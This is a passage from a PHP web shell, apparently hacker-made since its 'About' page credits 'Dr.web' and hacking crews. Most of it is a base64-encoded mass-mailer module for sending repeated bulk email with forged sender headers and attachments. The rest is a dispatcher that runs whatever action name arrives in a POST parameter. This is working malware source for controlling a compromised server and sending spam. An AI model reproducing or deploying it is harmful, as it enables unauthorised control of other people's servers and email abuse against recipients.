pdj4KICAgICAgPC90ZD4KCiAgICAgIDx0ZCB3aWR0aD0iMjE5Ij4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZnJvbSIgdmFsdWU9Ijw/cGhwIHByaW50ICRmcm9tOyA/PiIgc2l6ZT0iMzAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgoKICAgICAgPHRkIHdpZHRoPSIyMTIiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5Zb3VyIE5hbWU6PC9mb250PgogICAgICAgIDwvZGl2PgogICAgICA8L3RkPgoKICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZWFsbmFtZSIgdmFsdWU9Ijw/cGhwIHByaW50ICRyZWFsbmFtZTsgPz4iIHNpemU9IjMwIiAvPgogICAgICAgIDwvZm9udD4KICAgICAgPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICAgIDx0ZCB3aWR0aD0iODEiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5SZXBseS1Ubzo8L2ZvbnQ+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCB3aWR0aD0iMjE5Ij4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVwbHl0byIgdmFsdWU9Ijw/cGhwIHByaW50ICRyZXBseXRvOyA/PiIgc2l6ZT0iMzAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgogICAgICA8dGQgd2lkdGg9IjIxMiI+CiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPgogICAgICAgICAgPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPkF0dGFjaCBGaWxlOjwvZm9udD4KICAgICAgICA8L2Rpdj4KICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSIyNCIgLz4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgd2lkdGg9IjgxIj4KICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+CiAgICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+U3ViamVjdDo8L2ZvbnQ+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCBjb2xzcGFuPSIzIiB3aWR0aD0iNzAzIj4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3ViamVjdCIgdmFsdWU9Ijw/IHByaW50ICRzdWJqZWN0OyA/PiIgc2l6ZT0iOTAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgogICAgPC90cj4KICAgIDx0ciB2YWxpZ249InRvcCI+CiAgICAgIDx0ZCBjb2xzcGFuPSIzIiB3aWR0aD0iNTIwIj4KICAgICAgICA8Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSItMyI+TWVzc2FnZSBCb3ggOjwvZm9udD4KICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9Ii0zIj5FbWFpbCBUYXJnZXQgLyBFbWFpbCBTZW5kIFRvIDo8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyIHZhbGlnbj0idG9wIj4KICAgICAgPHRkIGNvbHNwYW49IjMiIHdpZHRoPSI1MjAiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSI1NiIgcm93cz0iMTAiPjw/cGhwIHByaW50ICRtZXNzYWdlOyA/PjwvdGV4dGFyZWE+PGJyIC8+CiAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNvbnRlbnR0eXBlIiB2YWx1ZT0icGxhaW4iIC8+IFBsYWluCiAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNvbnRlbnR0eXBlIiB2YWx1ZT0iaHRtbCIgY2hlY2tlZD0iY2hlY2tlZCIgLz4gSFRNTAogICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2VuZCIgLz48YnIgLz4KCSAgTnVtYmVyIHRvIHNlbmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhbW91bnQiIHZhbHVlPSIxIiBzaXplPSIxMCIgLz48YnIgLz4KCSAgTWF4aW11bSBzY3JpcHQgZXhlY3V0aW9uIHRpbWUoaW4gc2Vjb25kcywgMCBmb3Igbm8gdGltZWxpbWl0KTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0aW1lbGltaXQiIHZhbHVlPSIwIiBzaXplPSIxMCIgLz4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZW5kIGVNYWlscyIgLz4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCB3aWR0aD0iMjc4Ij4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iZW1haWxsaXN0IiBjb2xzPSIzMiIgcm93cz0iMTAiPjw/cGhwIHByaW50ICRlbWFpbGxpc3Q7ID8+PC90ZXh0YXJlYT4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogIDwvdGFibGU+CjwvZm9ybT4KCjw/CmlmICgkYWN0aW9uPT0ic2VuZCIpewogIGlmICghJGZyb20gJiYgISRzdWJqZWN0ICYmICEkbWVzc2FnZSAmJiAhJGVtYWlsbGlzdCl7CiAgICBwcmludCAiUGxlYXNlIGNvbXBsZXRlIGFsbCBmaWVsZHMgYmVmb3JlIHNlbmRpbmcgeW91ciBtZXNzYWdlLiI7CiAgICBleGl0OwogICB9CiAgJGFsbGVtYWlscyA9IHNwbGl0KCJcbiIsICRlbWFpbGxpc3QpOwogICRudW1lbWFpbHMgPSBjb3VudCgkYWxsZW1haWxzKTsKICAkZmlsdGVyID0gIm1haWxsaXN0IjsKICAkZmxvYXQgPSAiRnJvbSA6IG1haWxpc3QgaW5mbyA8bmcyQGxpdmUuZnI+IjsKIC8vT3BlbiB0aGUgZmlsZSBhdHRhY2htZW50IGlmIGFueSwgYW5kIGJhc2U2NF9lbmNvZGUgaXQgZm9yIGVtYWlsIHRyYW5zcG9ydAogSWYgKCRmaWxlX25hbWUpewogICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlKSl7CglkaWUoIlRoZSBmaWxlIHlvdSBhcmUgdHJ5aW5nIHRvIHVwbG9hZCBjb3VsZG4ndCBiZSBjb3BpZWQgdG8gdGhlIHNlcnZlciIpOwogICB9CiAgICRjb250ZW50ID0gZnJlYWQoZm9wZW4oJGZpbGUsInIiKSxmaWxlc2l6ZSgkZmlsZSkpOwogICAkY29udGVudCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGNvbnRlbnQpKTsKICAgJHVpZCA9IHN0cnRvdXBwZXIobWQ1KHVuaXFpZCh0aW1lKCkpKSk7CiAgICRuYW1lID0gYmFzZW5hbWUoJGZpbGUpOwogIH0KCiBmb3IoJHh4PTA7ICR4eDwkYW1vdW50OyAkeHgrKyl7CiAgZm9yKCR4PTA7ICR4PCRudW1lbWFpbHM7ICR4KyspewogICAgJHRvID0gJGFsbGVtYWlsc1skeF07CiAgICBpZiAoJHRvKXsKICAgICAgJHRvID0gZXJlZ19yZXBsYWNlKCIgIiwgIiIsICR0byk7CiAgICAgICRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkbWVzc2FnZSk7CiAgICAgICRzdWJqZWN0ID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkc3ViamVjdCk7CiAgICAgIHByaW50ICJTZW5kaW5nIG1haWwgdG8gJHRvLi4uLi4uLiI7CiAgICAgIGZsdXNoKCk7CiAgICAgICRoZWFkZXIgPSAiRnJvbTogJHJlYWxuYW1lIDwkZnJvbT5cclxuUmVwbHktVG86ICRyZXBseXRvXHJcbiI7CiAgICAgICRoZWFkZXIgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7CiAgICAgIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9JHVpZFxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiLS0kdWlkXHJcbiI7CiAgICAgICRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC8kY29udGVudHR5cGVcclxuIjsKICAgICAgJGhlYWRlciAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdFxyXG5cclxuIjsKICAgICAgJGhlYWRlciAuPSAiJG1lc3NhZ2VcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZFxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiQ29udGVudC1UeXBlOiAkZmlsZV90eXBlOyBuYW1lPVwiJGZpbGVfbmFtZVwiXHJcbiI7CiAgICAgIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJGZpbGVfbmFtZVwiXHJcblxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiJGNvbnRlbnRcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZC0tIjsKICAgICAgbWFpbCgkdG8sICRzdWJqZWN0LCAiIiwgJGhlYWRlcik7CiAgICAgIHByaW50ICJvazxicj4iOwogICAgICBmbHVzaCgpOwogICAgfQogIH0KIH0KCn0K'));
1769 printFooter();
1770}
1771
1772function actionabout(){
1773 printHeader();
1774 echo '<h1>About</h1>';
1775 echo '<div class="content">';
1776 echo "<div class=header><center><h3><span>Coded By - Dr.web</span></h3>Thanks To : System - Tr0Jan-HacKer - Team OmarXarmy - all Sunnah Cyber Army<br><br />";
1777 echo "<br><br /><br /></div>";
1778 echo '</div>';
1779 printFooter();
1780}
1781
1782if( empty($_POST['a']) )
1783 if(isset($default_action) && function_exists('action' . $default_action))
1784 $_POST['a'] = $default_action;
1785 else
1786 $_POST['a'] = 'SecInfo';
1787if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1788 call_user_func('action' . $_POST['a']);